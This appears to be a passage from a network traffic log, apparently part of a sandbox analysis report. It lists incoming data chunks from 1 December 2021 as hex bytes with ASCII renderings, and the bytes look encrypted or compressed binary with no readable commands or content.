2021-12-01 08:15:22 UTC	869	IN	Data Raw: 6b 1c 38 d1 f7 7c 00 99 b7 d1 c5 30 94 28 70 b2 af 6e 8d bc 2b 53 7d 24 7f 6c 75 c5 63 b7 f1 0a 67 b2 d6 92 ee be 90 fd 50 c7 15 50 1b 91 48 d6 df 45 4b 21 b7 73 b3 e7 6c 49 45 57 13 2a 2d f6 25 e4 db e0 b3 15 50 96 73 99 6a ca ba fd b4 6c 08 ab 4e d2 f4 59 ba f8 e3 71 77 e9 32 ce a1 ca f7 e2 24 29 0b c4 5d f8 9f 14 7e d7 f1 22 18 85 40 cd d4 80 71 72 e1 31 b2 f1 38 e7 a4 b0 da b1 bc fe 77 d3 51 8e 11 84 43 05 dc c9 81 5d 6e 8a ed cb 7f 7e 12 0a 0b 6d 41 db 44 b8 5a ac 57 a5 85 57 1c 69 20 6c d1 8e 36 ea 74 c4 aa 62 22 ee 33 c0 5c 7c 58 e3 da b4 fe 7f 79 ff 55 05 9f 3d 55 60 20 cd ca bb dc a0 c3 42 a6 52 9a dc 0f c6 8a d8 fc 92 a6 c6 49 6b 87 11 33 86 d7 67 c9 5e 10 90 40 e6 c8 5a 79 50 d8 12 ac 3c 19 c3 c2 0a 80 61 21 39 2b 03 d3 bf fd a7 cc ea 1d ab e8 Data Ascii: k8\|0(pn+S}$lucgPPHEK!slIEW*-%PsjlNYqw2$)]~"@qr18wQC]n~mADZWWi l6tb"3\\|XyU=U` BRIk3g^@ZyP<a!9+
2021-12-01 08:15:22 UTC	885	IN	Data Raw: e0 3d 4d 27 de 6b dc 59 f0 46 64 82 8d 8c 2f 0f 1e 22 a9 04 73 18 82 40 a0 04 c3 a9 ac 57 91 36 cc 0e 92 fb 9e aa 76 4e f0 57 6c 50 4d 4a 8b 6b 5a 46 aa 29 24 94 50 4b d3 51 10 88 50 ee 68 1f f6 8c 95 87 d4 11 ff b9 aa 2d 02 bb ca 97 b5 83 cd c3 d1 e6 e3 e3 e1 fe 77 a6 29 2f 69 5c c1 32 a9 e3 92 64 22 9f 3b df 34 da 69 cc 3a 61 4c cf fc b5 45 44 6e 88 23 f9 76 99 86 c1 8b d0 ef 7a b3 da aa 55 89 8a fa a6 16 4c 06 ab af 61 70 a8 7a 7d b2 40 a7 4f 3c 3c f3 06 67 72 97 37 7d f7 a7 33 eb ca db d3 ce fd ef 7d 8c 2f ff 97 da 08 93 58 3d c0 74 52 e6 a4 2c 13 5b d5 c4 65 26 78 2d eb a4 a4 ea 13 9d 1b 77 1f 3b b5 77 72 8d c7 31 1b ee 3b 41 ca e3 ec 65 b1 14 9c ad 5b 37 21 d0 11 97 91 13 df 28 71 d2 d4 b3 60 d1 cc 10 3d 4e 4d 7b 23 c9 68 34 e8 43 4c 34 0c bd bb 7c Data Ascii: =M'kYFd/"s@W6vNWlPMJkZF)$PKQPh-w)/i\2d";4i:aLEDn#vzULapz}@O<<gr7}3}/X=tR,[e&x-w;wr1;Ae[7!(q`=NM{#h4CL4\|
2021-12-01 08:15:22 UTC	901	IN	Data Raw: 4d 3d 8e f9 b3 f9 64 70 d8 5f fc 6b d1 6f 8a cf 4b 36 70 ba c9 7f 95 00 07 bf 04 eb cf cd 93 f6 83 a9 4a 6b d8 72 ac a7 62 46 e4 72 de 4f c4 a1 f2 3f ce d8 ae b3 9e 32 97 08 3e bb b3 2f 58 1d b0 62 45 3e 53 48 7b fa d2 ab f5 8d 7a 6c 04 8c e6 55 0b 9d df e9 18 ae 44 52 e4 f6 dc c3 eb b8 61 60 e3 27 2e f8 91 cb d6 8b c3 db 91 bf ee a2 d0 54 51 48 58 01 2d 25 26 0b 9d 25 2e 48 bb 54 85 fd 7a 9d 01 5a 49 1e ff ec f3 94 7f 8c b1 4b 53 7e e3 f3 17 41 93 31 f2 41 20 ab 42 1c 68 ad f4 65 28 5d f1 3b 10 e8 62 2f 2b d9 20 e4 46 c1 b9 25 ef 4f 3b 8c 96 c0 7b f5 9c c6 c5 95 18 47 7c 39 a8 da 25 76 1d a3 2c dc 28 f7 3e 1c 2a 19 72 20 7c 3c cd 38 d8 79 8d 89 e4 d9 22 f2 e1 d6 a7 76 06 c3 4b dd 7b 3d fd f8 a5 e1 8f dc a6 94 b9 f5 43 d7 b7 80 7b ff cf 0f 44 0d ca 9e dc Data Ascii: M=dp_koK6pJkrbFrO?2>/XbE>SH{zlUDRa`'.TQHX-%&%.HTzZIKS~A1A Bhe(];b/+ F%O;{G\|9%v,(>*r \|<8y"vK{=C{D
2021-12-01 08:15:22 UTC	917	IN	Data Raw: d3 0f d3 d8 5a 70 ca 36 38 71 d5 7a b3 e2 e9 b1 44 9c 9b eb 99 da 2c e6 8c 5a 6e 60 87 1f e6 75 5f ea 67 73 36 3f 71 4b df 8c 51 2b 00 36 dc 22 b3 43 85 ac da 9b a8 12 6a 25 3b ff 29 07 32 12 f1 d2 4b 7d 75 f6 66 4d d1 f3 fd 6a 31 e8 a7 5b 66 42 1f 7d 6f 0d 4e 34 e2 1a ca 15 60 ee 7d 02 2f 67 c8 95 8c 48 66 ee 32 aa 36 8e 11 ec 18 ce 95 30 2a c4 fe 34 42 da 54 98 29 3a ef 8e 56 e6 86 ec b4 3c 85 29 1a 9d 63 3b 0b 87 b0 e5 1e 91 84 80 17 04 05 ae 94 f1 30 2d 46 8e 60 34 db a5 52 d4 43 d4 10 e6 35 95 4b 99 53 ad a2 62 0a 10 76 9c 84 ef c8 43 5b 90 74 10 3f 83 5f 02 d0 15 e5 db 91 4e 6a ca 71 57 17 cc bb 1c 81 72 44 14 fa 90 12 3e 52 d7 31 9b a7 b9 e8 d6 5e 49 35 6f 29 c6 30 8f 5e 03 96 88 76 28 85 f6 f4 5d ca 39 dc de 2c 74 f7 b2 53 0d 88 4e 6e 3b 7b fb a8 Data Ascii: Zp68qzD,Zn`u_gs6?qKQ+6"Cj%;)2K}ufMj1[fB}oN4`}/gHf260*4BT):V<)c;0-F`4RC5KSbvC[t?_NjqWrD>R1^I5o)0^v(]9,tSNn;{
2021-12-01 08:15:22 UTC	933	IN	Data Raw: 9d 75 21 06 35 21 2e c5 96 24 f8 a5 83 c1 1b 08 8b a2 27 7b c0 4a bb 76 45 3c 0b b0 9f e0 64 85 f8 43 07 25 8a 1d d0 49 3c 7b 19 c3 a2 b6 9f 27 a2 4c dd b2 af 04 b4 01 42 7f b6 40 b2 da 2f 57 73 04 07 ea 3f 25 08 e8 62 54 4f b8 02 14 b9 59 ac cf 2b 8c 1d 70 9b 02 de 0d 13 35 4f 6d c5 69 51 71 eb 3b 89 f1 8e 9e 83 a3 63 71 59 5c e2 8d 49 f9 ef 27 b0 89 a5 28 c3 6d 1d 09 7c 16 eb 14 45 d5 df 8f 7c 34 71 70 77 91 9e dd eb 4d ad 81 10 9c 64 61 fa c0 94 a6 f2 3d 5c 9d cf 1d eb 50 89 12 d7 87 10 63 53 d8 05 ab 0a 48 c9 c3 43 45 7c f3 af e7 a2 4b 21 4f 6a ad d0 b0 39 20 ad 1b 90 4d d2 d7 45 6b 7f 52 a9 06 9e d7 b6 21 da 30 b8 9b 1e 0d 30 bb d5 16 ce 99 8b e0 c1 c4 c1 d0 df 27 27 81 9d e8 19 38 60 28 34 e4 12 aa 4e 61 84 74 a8 d8 3b 94 cf a7 69 03 cd db 96 77 16 Data Ascii: u!5!.$'{JvE<dC%I<{'LB@/Ws?%bTOY+p5OmiQq;cqY\I'(m\|E\|4qpwMda=\PcSHCE\|K!Oj9 MEkR!00''8`(4Nat;iw
2021-12-01 08:15:22 UTC	949	IN	Data Raw: 9a 01 93 87 5b c2 11 c6 25 96 08 31 15 a2 4f ac 25 4d 27 85 34 23 99 f2 1c a7 a0 12 8f 2a 7f 50 83 bd 31 27 23 19 ec 77 b3 02 fd 5e d8 20 c8 0e c4 40 7d 5d 9a 41 8a 2b 70 aa 7e 19 d9 b6 03 8d 84 dd 4d 95 70 66 16 50 bc 77 be 83 1d 87 ba 0c 6e 2f 69 99 7c d9 9a c0 2d a4 0f 0d 4a 70 3d 13 0e 73 54 90 4f 17 76 99 17 d9 e7 2c 6b 70 3f 85 1c 5d 15 d6 6d 80 1c 7a e2 7c 81 4a ee 93 b4 21 98 a2 a4 ca b1 9b b5 c2 4c b6 35 a5 61 38 88 c8 bf 10 2c 69 7c eb ca dc 05 b0 55 17 22 94 98 b8 ee 10 86 c8 f6 32 48 05 42 de fa ef 85 4b da b2 49 3c c6 1c 30 c4 23 f8 a3 c5 b3 30 d3 88 20 86 17 f2 e1 71 34 98 11 27 3b aa cb 3c b2 58 b6 20 b6 6a 2a a8 dd 06 84 72 e8 6b 9c 1b a3 fd 8f d4 18 83 2f ac a3 b5 16 cb 65 8e ba 72 87 fb 25 78 a5 b5 8e c9 2a 13 f7 18 0e 12 ff b9 5c 0f b8 Data Ascii: [%1O%M'4#P1'#w^ @}]A+p~MpfPwn/i\|-Jp=sTOv,kp?]mz\|J!L5a8,i\|U"2HBKI<0#0 q4';<X jrk/er%x*\
2021-12-01 08:15:22 UTC	965	IN	Data Raw: b8 a1 53 30 ba db 3e b9 d0 e4 e0 19 3f ca 13 59 e9 37 3f 44 0f 7c 87 dc 3e 5d 6e a0 c0 0a 3c e3 7c f0 71 94 9f f6 98 ea 45 f2 26 6b 6c 1d e1 d5 aa 79 74 ed 45 88 3d 38 02 a5 e7 fe 47 52 1c b1 36 f1 f5 79 7b 28 5a e9 f7 cd a4 d6 95 c0 df d9 61 b7 2f 7b 89 ec 9e e4 e5 03 47 c8 7d f8 c0 ac 08 09 0f 89 ae 84 da a7 cb db c1 c4 eb 41 3a a7 d9 28 ab f2 79 e9 d4 44 5f 77 fd c5 9a c5 21 5d ba fb 73 d6 0c ce 5b d2 86 08 7b 76 bc be af f6 a3 f4 7e 98 f1 e9 65 e7 ae 72 13 21 41 ca 58 dc 05 32 1a 6d c8 fa 17 53 62 5a 3d d6 45 4c 68 3f 9a e6 95 88 34 65 15 ba ae 85 52 50 7f e1 4f 37 0d 31 37 2d 40 74 b8 5e f0 ef cc a0 ce c9 ff 46 54 83 cb 15 ed de ac 60 76 f9 5d cc 4c 19 62 f8 29 4c 64 18 cf f7 25 0b 01 dc 41 29 d9 ee 29 c6 62 6f ea e7 8d de 49 d6 47 c9 e3 5f f5 2c b6 Data Ascii: S0>?Y7?D\|>]n<\|qE&klytE=8GR6y{(Za/{G}A:(yD_w!]s[{v~er!AX2mSbZ=ELh?4eRPO717-@t^FT`v]Lb)Ld%A))boIG_,
2021-12-01 08:15:22 UTC	981	IN	Data Raw: 24 22 3d a6 a3 8b 80 24 b1 85 f2 1c 6c 52 83 1a 0b dd d1 20 a9 06 a0 91 c6 df b5 61 ed 31 29 89 3c 43 22 52 ee 2d cc 8f 24 a4 50 3a ce cc 79 60 52 d5 fc 29 bf f7 c2 5b 53 b3 5b 54 8a 0f 79 88 bc 05 2d 41 c9 0b 28 75 80 95 58 d9 1a 05 c3 19 9c 22 69 20 49 cb 6b cc 53 96 77 33 be 6f 7c 16 ca af 19 7e 6a f3 c4 22 a6 2f f3 2a eb 20 77 2b 1a bb 63 65 ad d5 ba 0a e3 8e 6e fc a9 28 43 1f 2f d3 90 c0 94 9c 37 6d 46 a7 84 12 be 51 1e d6 34 4b 84 27 31 ad f9 56 12 a1 d2 bb dc eb 75 90 25 85 a4 de 41 32 ff 7d 93 4d e9 8a 9f 81 75 9e 8b ce 48 e1 63 ad c5 2e a5 34 2f 76 14 dd 30 b0 15 95 48 b3 b8 73 46 3e 17 7e 68 7f f7 76 21 85 13 be 15 09 93 49 35 29 b6 a1 ed 9c 0d 4e 1d 5b 36 5e 51 0c 64 f6 5e 4f bd 41 59 7b 99 47 8b 80 ef fb d4 55 5c 90 7a ff 8c 35 89 e9 a9 2f f7 Data Ascii: $"=$lR a1)<C"R-$P:y`R)[S[Ty-A(uX"i IkSw3o\|~j"/* w+cen(C/7mFQ4K'1Vu%A2}MuHc.4/v0HsF>~hv!I5)N[6^Qd^OAY{GU\z5/
2021-12-01 08:15:22 UTC	997	IN	Data Raw: fd 64 6c 63 29 8a d4 ee a2 55 ce 3e 13 ab 72 31 8e 9a ba 37 c6 c8 58 0a 26 33 db 90 46 52 d6 ea 2b 6b fb a4 6d 2e 30 38 30 5a 67 f5 dc eb b8 e4 39 96 a5 9a 4d fb 27 89 78 a2 aa fa 9e d6 89 6e 8e de d3 e5 97 74 da 4d a7 a2 03 92 5d 7a 8e 30 3b e9 05 2b 6d ad d3 2c 00 15 fa 1f 4e fa 20 64 ab 4d 7f 55 a2 9d af 4b 09 f8 de c4 f8 1a 56 79 9a 7b 24 89 0f d5 a2 c6 93 24 f7 60 6f ba 62 34 46 e2 85 bd b4 b9 c5 10 d0 7a 6d c9 94 7a 84 8a 88 8a 72 ae 49 11 c0 20 44 c8 90 02 fb 2c d6 c2 de 49 ac d1 cf a5 82 80 b4 7a 7a b9 7e a8 f7 be 1b 38 d0 91 36 ef e9 1e 59 90 86 ff 2c b8 62 7b af 11 7d 5a 2b d3 ca 0e d8 3c 32 f9 c4 de 22 44 2c 12 d9 a3 db e0 8a a8 98 9c 88 a7 f1 7d 26 c5 46 f1 5e 34 54 0b 32 d1 9f 09 d9 b4 1e 33 ec ba 35 ce 69 50 0b d2 16 0e 29 54 8a d0 b2 76 40 Data Ascii: dlc)U>r17X&3FR+km.080Zg9M'xntM]z0;+m,N dMUKVy{$$`ob4FzmzrI D,Izz~86Y,b{}Z+<2"D,}&F^4T235iP)Tv@
2021-12-01 08:15:22 UTC	1013	IN	Data Raw: be e5 81 25 f4 45 1b d5 f6 d9 bd ea 6f 33 46 53 b8 39 d3 26 27 1c f9 6a 0e fb 35 13 ee 32 ad 05 72 f0 30 a7 ae e4 bf 9f 3f df b1 36 f8 45 00 38 5a f2 11 47 ab a8 99 27 e1 e8 29 96 fa 9b 51 22 36 63 1c 07 a1 91 ca 8f 13 bf 84 cb f8 b9 14 07 a1 e4 d9 3a 92 47 16 7d b6 b0 e9 d5 22 9c 33 71 cb e0 40 2a 6d b2 54 de 27 7d 8b a1 af 44 95 77 bb 64 a3 47 f8 63 ac 03 da ca ce d6 05 5f 6c d6 9f b8 6a f4 e1 b8 15 a9 ca c3 c3 86 73 a5 dd 16 ca 0d 82 af f8 3a af 45 84 61 24 d1 79 94 5a f3 d4 78 e4 9a d0 4e 64 d0 8c 8c 98 cb 35 76 b2 a2 f3 e9 74 01 47 1b 6d 33 1c bf 98 8c 79 48 49 de 0f 94 fd 00 df 0d 69 ed a8 15 ee 0c 67 f9 e4 8d c6 38 2c 81 82 a0 7c 5c 0b 49 b0 8e 62 75 97 c4 58 f6 c2 8b e0 6f f8 4d 6e f6 7b 0e 6a 78 06 c5 e2 78 14 1b 09 66 b7 1e 23 7f 08 df ba 04 66 Data Ascii: %Eo3FS9&'j52r0?6E8ZG')Q"6c:G}"3q@*mT'}DwdGc_ljs:Ea$yZxNd5vtGm3yHIig8,\|\IbuXoMn{jxxf#f
2021-12-01 08:15:22 UTC	1029	IN	Data Raw: e5 c2 a6 b4 b2 c6 85 17 6b 80 9f 2a 03 9c 49 70 b9 54 c7 42 de 29 2c fa 73 ac e5 24 b8 b8 4f 6f 60 41 d9 50 bd 06 50 45 1b a4 71 f7 29 e6 67 f2 82 34 84 a1 a4 12 8e 84 21 7a 23 d3 b0 86 d5 50 af 3d fe c7 93 d9 e5 47 e9 81 86 cd 01 34 a0 7c 4d a8 0c 17 1b c6 d4 51 4e b3 a2 d2 4f 9d b1 c4 8c 47 2c e3 cb 85 39 26 9a 02 63 d7 a1 49 fd 16 bd be 1a 60 17 0a 88 40 0e 5b a2 2d 67 d3 70 e6 60 28 65 48 f8 4a 08 fd 8c f6 f4 94 78 77 e8 67 89 c8 e4 83 27 d9 6c a3 66 d6 c6 f2 7a 50 d3 d9 c4 13 2a 42 d3 62 27 6d 3e c6 5d aa ab ac 79 fc 9e 3f 21 b8 f5 b0 05 a3 4a 28 03 70 98 f7 1c c2 3f 48 e4 6d d7 94 5a ad e8 b0 a6 ac 47 20 f4 d3 36 07 eb 5b ba 99 5a 0c 15 e3 41 27 2a 98 b2 b5 3d 40 62 b1 79 a0 f3 a2 95 6b 35 bb d1 62 4b 3b de d8 69 49 c6 0b 13 6f df 62 da 21 5d 80 18 Data Ascii: kIpTB),s$Oo`APPEq)g4!z#P=G4\|MQNOG,9&cI`@[-gp`(eHJxwg'lfzPBb'm>]y?!J(p?HmZG 6[ZA'*=@byk5bK;iIob!]
2021-12-01 08:15:22 UTC	1045	IN	Data Raw: 29 b4 f4 e6 98 a5 56 53 63 2d 8b c5 87 4c 5d 1f d5 be b5 cb ea f8 b2 cc 45 e6 f8 d5 78 8b 6c 59 99 49 67 d4 60 2a 08 4f 72 90 d0 bd e2 6b 8c 2d 8d 44 b0 55 39 6b 92 2d 2e 07 64 75 a8 e6 f2 c0 49 af 03 69 b2 85 e6 81 26 14 07 a2 ef 78 07 cb d0 b8 6c a0 b6 f7 ba 86 90 f7 7f bc 47 74 bb e7 91 70 70 02 f0 ca a5 fa 94 08 a4 09 e7 cf a7 c2 f9 5a 9b 54 c1 c4 93 c7 ad 2a 59 df 5c 97 cb 0a 66 ae ff ab 92 7a 3f f0 7e 14 45 4f e9 c3 12 a8 d8 c5 71 f1 cf 0b bc 06 92 1e e2 26 41 b9 bc 82 c1 a4 6e 7e e7 f2 00 50 03 3a 0d d4 0c c4 c0 2b f0 2f 4a 69 31 27 c4 d3 60 b2 74 19 25 30 b9 1d 3b c3 4d 6a a4 a3 8b b0 64 a0 57 73 7d 40 0e 60 ab f3 64 e0 f5 e2 ed bd 31 3d 81 b6 68 f1 b7 c8 ba 20 04 36 15 4f a1 42 dd 14 77 73 b7 19 e1 24 f8 6e f8 cb 98 6b 11 66 e8 88 e6 a7 65 4f bf Data Ascii: )VSc-L]ExlYIg`Ork-DU9k-.duIi&xlGtppZTY\fz?~EOq&An~P:+/Ji1'`t%0;MjdWs}@`d1=h 6OBws$nkfeO
2021-12-01 08:15:22 UTC	1061	IN	Data Raw: 87 4c 08 5c 0d 85 16 ee c1 41 f2 0c 4b 00 33 fd 0d a8 fc e7 7b 47 79 fd 8a c5 65 5e 10 3c 87 e5 a0 d1 71 43 94 92 03 70 ca df e2 50 65 0e 1a a9 30 a7 69 09 81 9b 87 f6 15 d1 3c 40 cb b7 2e b2 1d 82 df fb db 67 a9 3c 7e 69 7a 3b f2 8a 42 1b 07 01 38 6f fa e2 f6 48 1c 2f aa 40 4c 62 15 46 1d cb 88 fa 5d b5 91 31 c6 3e 56 a0 3b 9f 90 c3 05 cd 40 6c 07 5b 71 7b ab 71 5f db 6a da 5c 71 6b f5 b9 62 48 f7 be 54 9e 9a 40 00 f2 7c dc 2b d4 28 83 db 79 44 d2 32 81 c5 c1 59 9b eb 1e b4 9f 81 b3 34 8e 93 75 07 74 aa 07 31 6e d5 43 f8 7c 1a 3e 1e f2 0a 35 aa 5f 46 2a e3 ef d0 5c 25 3a 99 fc a7 f5 b2 f7 ef e7 cd ec 86 35 8f 51 07 d2 50 59 63 cf a4 63 dd 41 d4 6a 13 3e a6 c9 2a dd d9 ca 7c 38 23 36 b2 62 73 aa 90 f2 be 5a e0 06 06 7b 0f 8d f1 70 a1 c8 b8 5d 92 2c f1 88 Data Ascii: L\AK3{Gye^<qCpPe0i<@.g<~iz;B8oH/@LbF]1>V;@l[q{q_j\qkbHT@\|+(yD2Y4ut1nC\|>5_F\%:5QPYccAj>\|8#6bsZ{p],
2021-12-01 08:15:22 UTC	1077	IN	Data Raw: 34 2e 8c 92 eb b3 7a 49 ec 8b 03 80 07 62 15 6a 3f 39 87 6e ef 0a 67 57 95 99 97 59 f2 cc b2 ba ac d7 83 e9 45 02 87 9c b1 96 48 9b 2b 18 f2 b3 f1 65 cb d9 ea 9e 56 f9 ee 62 c9 d8 a1 db 97 ac 6c 64 17 64 ae f9 43 23 a0 c8 86 64 13 bf c9 2f a5 b5 e8 04 7b 35 f0 a3 17 4e 91 33 93 1e e0 66 1a 89 37 0b df 56 5c 93 0e d4 21 b3 f9 31 14 78 3e 0d d8 e7 d5 c9 e7 3a 87 cf d4 45 bf a8 25 9e 8f df 7d ab dc bc e1 55 1a 24 1a 56 24 63 42 02 96 47 a3 fe 16 f8 27 8b 5c 28 2d b0 99 35 7e 8c 44 49 14 2b 47 35 48 7d b2 63 73 94 79 f8 d1 92 30 b8 34 8c 08 5f 34 24 1a 63 57 b6 28 8e cc ec c3 ba 5d da 4a 67 f5 8f 3c 6e 47 f6 23 b4 51 95 46 50 c4 69 7e a8 01 6c 1b b5 70 91 82 35 ad c5 cc 81 2d 82 93 7f 4f ac 40 73 03 ba ae bd e7 9f e6 92 bb 90 72 f2 a1 ee 4b 02 1b b4 63 7c 34 Data Ascii: 4.zIbj?9ngWYEH+eVblddC#d/{5N3f7V\!1x>:E%}U$V$cBG'\(-5~DI+G5H}csy04_4$cW(]Jg<nG#QFPi~lp5-O@srKc\|4
2021-12-01 08:15:22 UTC	1093	IN	Data Raw: 26 85 e0 76 5e 24 71 28 b2 1c b6 d5 99 1b 7f 87 f6 f5 42 26 da 59 19 60 7e 9a 0f 42 b2 6f 6b fd 1d 1d 3b f4 0c 1e 8a f9 e0 cd 41 ed 52 43 28 dc 75 95 0b e1 07 42 cd 67 1d 82 95 3a eb 02 72 1c b7 99 24 30 3f 5e 2a 3b 75 b6 d9 da be 8a 8c fb 22 af 9d 18 0f 05 37 db 8f fb 3b 36 f8 af f8 90 b6 51 e3 5c 0f bf 0b be f8 ca f5 91 d5 4a 14 35 0a 72 75 d7 e0 02 8f 3f b8 22 1b d8 00 e6 33 c1 56 6a 83 a8 a0 f5 97 52 c5 a6 e0 e9 25 99 b5 d4 9a a1 2c 53 61 0a d6 fc 67 5c dd cb 92 8e 78 a2 96 c4 49 80 06 18 ae 43 12 5b c1 74 6c a4 84 c3 1f ea b3 0b d2 cf 4b aa c3 b9 1e 31 36 6b fe 44 6b 8b f0 09 08 7a 0c 90 d0 b9 fa c5 52 5e cf 84 7e 10 54 a6 c9 1d cd d3 59 a9 d2 0a af 7d 35 37 3c f5 95 97 6c 7b ac 5e f5 ed ae 13 05 43 6d a3 de b6 15 ca 87 ec 75 cd 02 78 af 92 bb bd aa Data Ascii: &v^$q(B&Y`~Bok;ARC(uBg:r$0?^*;u"7;6Q\J5ru?"3VjR%,Sag\xIC[tlK16kDkzR^~TY}57<l{^Cmux
2021-12-01 08:15:22 UTC	1109	IN	Data Raw: 63 bb 67 3e 44 6d 9f 34 94 b2 74 ca 59 37 75 eb 3d 91 4f 87 bc 13 c2 09 de 5d 27 d3 19 c1 8c 3b 28 e7 ae 8c de 46 dc 29 8a 4d e6 bf 01 d5 6b b3 81 4a 1c 95 d5 70 8c a4 4b 2b 47 89 4c 40 88 d1 f8 37 a7 77 34 7b d3 40 30 68 82 fe d6 f3 6e 7a 63 4a 8f c9 ec ac ee 5a 4a b6 f1 f4 06 98 73 68 79 f2 82 c5 83 32 ae 62 bf a7 88 ff 40 bf e1 c3 0f 07 8f 96 88 fc 28 28 25 17 8a e9 03 f7 ba a4 10 93 eb fc 43 4d 47 f8 b9 eb c8 5d b2 2f e9 dd 5e a4 f8 29 51 0b 3a 24 59 34 fc 90 7e 57 1c ba 41 f2 b5 7a cd 11 3c de 5e bb 3b 41 3c ba f0 08 7e 61 a8 ec 79 f5 82 2d c2 ef 03 2a 4d eb 54 58 0a e9 ae 78 c7 7f 79 bb 01 e3 6c 49 fe 1a 3c f0 fc 5c cc bd 10 79 0f b0 17 c0 4a 85 fe f7 aa eb 83 87 ce c5 41 5c c4 2c 80 e6 64 f3 87 36 39 a7 4e f2 39 67 40 dc 0a 9c ab 33 73 7d bc 49 b7 Data Ascii: cg>Dm4tY7u=O]';(F)MkJpK+GL@7w4{@0hnzcJZJshy2b@((%CMG]/^)Q:$Y4~WAz<^;A<~ay-*MTXxylI<\yJA\,d69N9g@3s}I
2021-12-01 08:15:22 UTC	1125	IN	Data Raw: 88 74 6b 29 90 74 a5 cc 11 8f 87 13 14 a9 78 51 fb 5e 50 99 08 f7 a6 bf 27 9c 6a 76 a1 56 7a 1e 0a f2 26 f4 3b e2 33 26 47 89 fc bf 5e 74 32 13 8b e0 29 4c 3b 78 ce 51 2d 3d 5a 7b d7 bb 7d 12 88 d4 37 b2 94 65 4e cc 91 4e 95 61 fe cd 7b d4 e1 4d 8d fb 95 25 db 54 da d1 64 2a 24 f5 e9 6d 2f d0 59 d9 6c 8b 69 92 66 f3 12 99 06 de b5 e4 28 b2 87 90 c0 08 3f 95 1f 40 7b d5 8b 5e d3 be 27 22 ad 12 2c 20 89 96 17 72 f4 e4 e7 5f 14 5f 6b a3 6b a9 17 f7 17 b5 28 79 d1 9e 4b fb d0 2e 3d 24 7b 4d a9 00 f0 d2 37 ce 3e da 06 2b 96 78 42 64 f8 10 74 79 09 c1 4c cb 6e 61 ad e6 62 b2 c6 70 5a fd 68 20 10 ae 39 b9 4f 9b 34 14 52 4c cb 74 d5 ea 87 61 7b 7c 05 ed 1d bb 18 e9 36 11 bd 22 99 fe 85 3c 53 8b ce ae fa 96 c0 d5 b4 86 d6 37 b5 e4 7f ab 77 dc ef e6 8d 9f 46 de 49 Data Ascii: tk)txQ^P'jvVz&;3&G^t2)L;xQ-=Z{}7eNNa{M%Td*$m/Ylif(?@{^'", r__kk(yK.=${M7>+xBdtyLnabpZh 9O4RLta{\|6"<S7wFI
2021-12-01 08:15:22 UTC	1141	IN	Data Raw: 1a e6 a4 15 91 1f d6 38 c1 de 20 1c 23 97 9b ec 21 60 77 83 53 95 4f 22 a7 95 13 37 3d bd 61 75 df 69 d4 c3 c5 a9 56 4f bc f3 9b 8c e5 1d 96 bb 83 71 2a 60 15 f2 79 30 b4 88 f2 4e ff 4e fe 4d 55 2f c5 6f 4b da 1b 3b e4 a2 76 9e 56 4e 94 89 9c 3e d3 68 14 93 a2 af 22 b6 41 8d db 0e ed 91 1c d8 3b 44 1f 04 bf 22 91 85 d7 09 1e 46 e2 16 68 75 39 38 dd 1b c7 c5 e4 16 c4 17 4b e7 a1 f9 27 06 df 63 bc d9 dc 61 b7 d5 10 87 d1 94 48 95 69 ed 73 25 7d 14 cb 75 60 5a ec d7 96 77 ff 30 50 24 83 16 4f e4 cb 44 df 7d 9c 38 fe de 08 5e b6 ba 79 22 c9 ed 3c 4a e1 80 7d 4e b0 52 d8 5f 2b 21 f2 73 c8 79 79 d4 3f df b3 c5 d0 e6 15 23 60 8c d7 bc ca 29 3f 40 ab fe aa 08 3b 9f c7 83 73 9f d8 62 0d 4a 2f 4b 22 0a 15 c8 2f 7f c4 84 25 1b ad a2 0f 5e e5 b2 df 32 3d 93 c0 5e f5 Data Ascii: 8 #!`wSO"7=auiVOq*`y0NNMU/oK;vVN>h"A;D"Fhu98K'caHis%}u`Zw0P$OD}8^y"<J}NR_+!syy?#`)?@;sbJ/K"/%^2=^
2021-12-01 08:15:22 UTC	1157	IN	Data Raw: 63 37 6f 9b 6e 8e 37 4f f2 d1 e0 f0 df 8f 86 50 c6 dd c2 64 5d a7 bb 2f 8f 14 cc 70 55 9f 7d 56 b4 f8 02 8d c5 6a b6 7d 85 67 4d a1 43 9e ff 93 f6 b7 7e 38 3a 3f b7 44 4b ea ab 64 74 86 54 c0 e5 fb 3a 80 dd c3 8c 9c ec 54 a5 23 18 b9 08 fa f7 61 c8 de 07 18 28 78 c7 23 07 89 59 49 20 20 a3 19 fc bb 0c 12 40 fa 7c a9 d1 42 b3 c7 0a 1a be 8a 7a 3f 1c 3b 6a 37 77 13 69 6a 12 51 61 fa b6 59 cf af ad 45 f6 b9 b4 9c 5a f8 c3 9f e0 ac b4 20 55 cb c2 02 40 ad 4e 2f f4 33 96 c3 b0 71 d0 28 1c 59 d8 ce 3d a8 b8 1e d1 bf 92 f8 37 d0 7c 6d 9c ce 00 a9 11 6d de 20 20 6d 46 55 61 56 93 e0 b9 08 f9 f3 9b 1a 5e 53 b0 5b cd d3 7d e0 be 2a 9b 86 0b 11 56 73 f3 ca c3 b5 73 5a 57 25 5a 89 14 fd 2f 9a 63 58 f7 8d 03 d5 45 b4 d8 23 0c 8b 30 f5 05 1d ea 95 95 fb f3 78 5f d0 e0 Data Ascii: c7on7OPd]/pU}Vj}gMC~8:?DKdtT:T#a(x#YI @\|Bz?;j7wijQaYEZ U@N/3q(Y=7\|mm mFUaV^S[}*VssZW%Z/cXE#0x_
2021-12-01 08:15:22 UTC	1173	IN	Data Raw: b9 93 07 aa f6 83 5b 96 f3 53 61 55 80 9b c6 de 8a f1 40 f4 fa 00 0e c3 53 f4 99 00 2b 7d 62 d8 63 74 f6 c6 4a 88 10 f4 3a 95 9d c4 b6 08 4c 3a 26 a6 5e e3 2a c1 9b c1 50 2e 77 d8 07 f7 61 8e 0f af 0b 78 39 bb 03 a2 b2 49 f5 1b 21 2f a7 8d 7b 8e f2 b2 86 af 21 ac 62 79 0d c5 8b 62 57 dc 41 1c 8a d1 8a bf ea 30 84 4f a5 87 2d 2b 80 8c e3 ed 7b 1f f5 8a bf a0 5f 89 a3 dd 83 fa e5 c1 ec de a5 7d 5c ca 8c 03 10 04 fc 6d 22 c3 2c a2 ea ef d3 99 ac 13 6e 90 cc 56 84 d4 91 20 47 d9 5d 10 44 64 1d 24 a3 58 10 39 32 6a be 2b d1 a8 08 fd f7 53 f8 fc 53 fd 17 f8 c0 ce 44 ed 31 a3 c5 b7 ab d2 d1 37 e6 ac 2e 2f 6b c1 09 aa df 56 1b 33 a7 98 1a 2e ae 75 4d 21 fc 7e de e6 05 b3 4f da 2a 36 71 53 1e 32 69 af 54 9b 28 26 48 8f 28 20 ec 70 5c fa bc 60 62 4f 0e 92 8a 